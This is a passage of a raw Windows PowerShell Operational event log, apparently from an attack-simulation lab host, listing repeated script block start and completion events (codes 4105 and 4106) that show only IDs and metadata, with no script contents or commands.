Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030017
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030016
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030015
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030014
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030013
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030012
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030011
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030010
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030009
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030008
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030007
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030006
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030005
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030004
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030003
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030002
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030001
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030000
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029999
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029998
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029997
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029996
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029995
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029994
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029993
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029992
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029991
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029990
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029989
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029988
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029987
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029986
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029985
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029984
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029983
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029982
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029981
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029980
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029979
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029978
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029977
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029976
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029975
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029974
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029973
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029972
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029971
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029970
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029969
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029968
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029967
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029966
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029965
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
